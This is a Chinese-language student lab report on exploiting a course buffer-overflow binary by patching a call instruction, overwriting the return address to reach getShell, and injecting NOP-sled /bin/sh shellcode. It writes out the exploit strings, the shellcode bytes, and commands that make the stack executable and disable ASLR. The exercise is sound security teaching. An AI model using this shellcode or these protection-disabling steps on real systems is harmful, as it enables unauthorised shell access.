1.知识点梳理与总结
(1)常用Linux操作指令
objdump -d
:对任意一个二进制文件进行反汇编:%!xxd
:把二进制文档转成十六进制显示perl -e
:指定字符串以作为脚本(多个字符串迭加)执行|
:管道,把前者的输出作为后者的输入>
:重定向,将输出内容指向一个指定文件
(2)NOP, JNE, JE, JMP, CMP汇编指令对应的机器码
NOP
:"no operation"空操作,机器码0x90JNE
:"not equal"不等则跳转,机器码0x75JE
:相等则跳转,机器码0x74JMP
:无条件跳转
- 段内直接短转Jmp short,机器码0xEB;
- 段内直接近转移Jmp near,机器码0xE9;
- 段内间接转移Jmp word,机器码0xFF;
- 段间直接(远)转移Jmp far,机器码0xEA。
CMP
:比较指令,CMP的功能相当于减法指令。它不保存结果,只是影响相应的标志位,机器码0x39
更多详情请参见汇编指令机器码对应列表。
(3)Linux构造攻击buf的方法
Linux下有两种基本构造攻击buf的方法,一般选择第一种。
- retaddr+nop+shellcode
- nop+shellcode+retaddr
execstack -s pwn1
设置堆栈可执行;execstack -q pwn1
查询文件的堆栈是否可执行;more /proc/sys/kernel/randomize_va_space
查看地址随机化的状态;echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化。
2.实验原理
3.实验过程
(1) 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
- 对20221902pwn可执行文件进行反汇编
objdump -d 20221902pwn | more
- 分析反汇编出来的指令,寻找需要修改的指令对应的机器码
- main函数通过
call 8048491 <foo>
(对应的机器指令为:e8 d7 ff ff ff,其中e8是call指令的机器码,d7 ff ff ff
是十六进制补码,EIP的值 + ffffffd7 = 8048491 = 80484ba + ffffffd7)来调用foo函数。- 如果要使得main函数调用getShell函数,只需将
call 8048491 <foo>
改为call 804847d <getShell>
即可。所以只需要修改call 8048491 <getShell>
指令对应的机器指令,将其改为:e8 c3 ff ff ff
(804847d-80484ba=ffffffc3)
- 打开可执行文件,将显示模式由二进制切换为十六进制模式
vim 20221902pwn
:%!xxd
- 查找需要修改的部分
- 按i切换为输入模式,修改d7为c3
- 转换16进制为原格式,保存退出
:%!xxd -r
:wq
- 对修改结果进行验证
objdump -d 20221902pwn | more
- 修改前后对比
(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 需求分析:
- 当输入的字符串超过0x1c=28个字节后,就会造成缓冲区溢出,而我们需要做的就是构造一个字符串,使其产生缓冲区溢出,并且溢出到图中EIP的值正好为getShell的起始地址0x0804847d。
- 在给字符串预留的28个字节上面4个字节是存放main函数堆栈的栈底,在上面4个字节是返回地址。因此,我们需要构造的字符串的第33-36个字节为0x0804847d。
- 预备知识:
- 使用perl语言,能够将无法通过键盘输入的十六进制值直接输入,并使用输出重定向">"将perl生成的字符串存储到文件中。例如:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
是将字符串"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"重定向到文件input中。xxd 文件名
将文件内容以16进制形式呈现。(cat 文件名file1;cat) | 可执行文件名file2
将file1中的字符串通过管道传递给file2,作为可执行文件file2的输入。
- 构造字符串
11111111222222223333333344444444\x08\x04\x84\x7d
,和11111111222222223333333344444444\x7d\x84\x04\x08
分别测试
应该构造字符串
11111111222222223333333344444444\x7d\x84\x04\x08
,才能达到目的。
(3)注入一个自己制作的shellcode并运行这段shellcode。
- 需求分析
- 与任务二类似,在给字符串预留的28个字节上面4个字节是存放main函数堆栈的栈底,在上面4个字节是返回地址。因此,我们需要构造的字符串的第33-36个字节为我们想要注入的shellcode的起始地址。
- 由于执行过程的未知性,想要准确知道shellcode的起始地址的很难的,为了提高猜测的准确性,我们一般在想要注入的shellcode前面填充许多空操作nop(机器码为0x90),使得只要找到任意一个0x90的位置作为起始地址覆盖到eip处,就能够让shellcode被执行。
- 所以,我们需要找到0x90的位置。
- 设置堆栈可执行状态
execstack -s 文件名 //设置堆栈可执行;
execstack -q 文件名 //查询文件的堆栈是否可执行;
- 关闭地址随机化,并查看地址随机化的状态
more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态;
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化;
- 构造shellcode,找到shellcode的起始地址
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20221902input3
- 上面的
\x4\x3\x2\x1
将覆盖到堆栈上的返回地址的位置我们需要把它改为shellcode的起始地址,所以通过调试找到0x90所在位置,调试过程如下:
4.学习中遇到的问题及解决
问题1:调试过程出现问题,未发现对应的20221902pwn2进程
- 原因:第一个终端输入
(cat 20221902input3;cat) | ./20221902pwn2
注入攻击buf 时,多按一个回车导致程序执行完毕 - 解决方法:
1.输入(cat input_shellcode;cat) | ./pwn_3注入shellcode攻击
2.在终端2中输入ps -ef | grep 20221902pwn2,查找20221902pwn2的进程号
3.在终端2中使用gdb对20221902pwn2进行调试,输入对应的进程号
5.学习感悟、思考等
- 本次实验虽然花费我大量的时间,但是也收获了同比的知识。让在我对缓冲区溢出原理清楚明白的基础上,辅以相应的实践,加深了我对缓冲区溢出的理解。
- 同时,也让我反思自己以前写的代码,对于
int A[10];
这种代码产生一种危机感,深刻明白自己在代码编写方面的不足。 - 最重要的是让我学会在遇到事情时,一定要冷静分析,把握大方向。首先要有思路也就是目标要明确,然后进行预期,操作,验证。做的每一步都要进行验证,每一步验证的成功,才能达到最后的成功。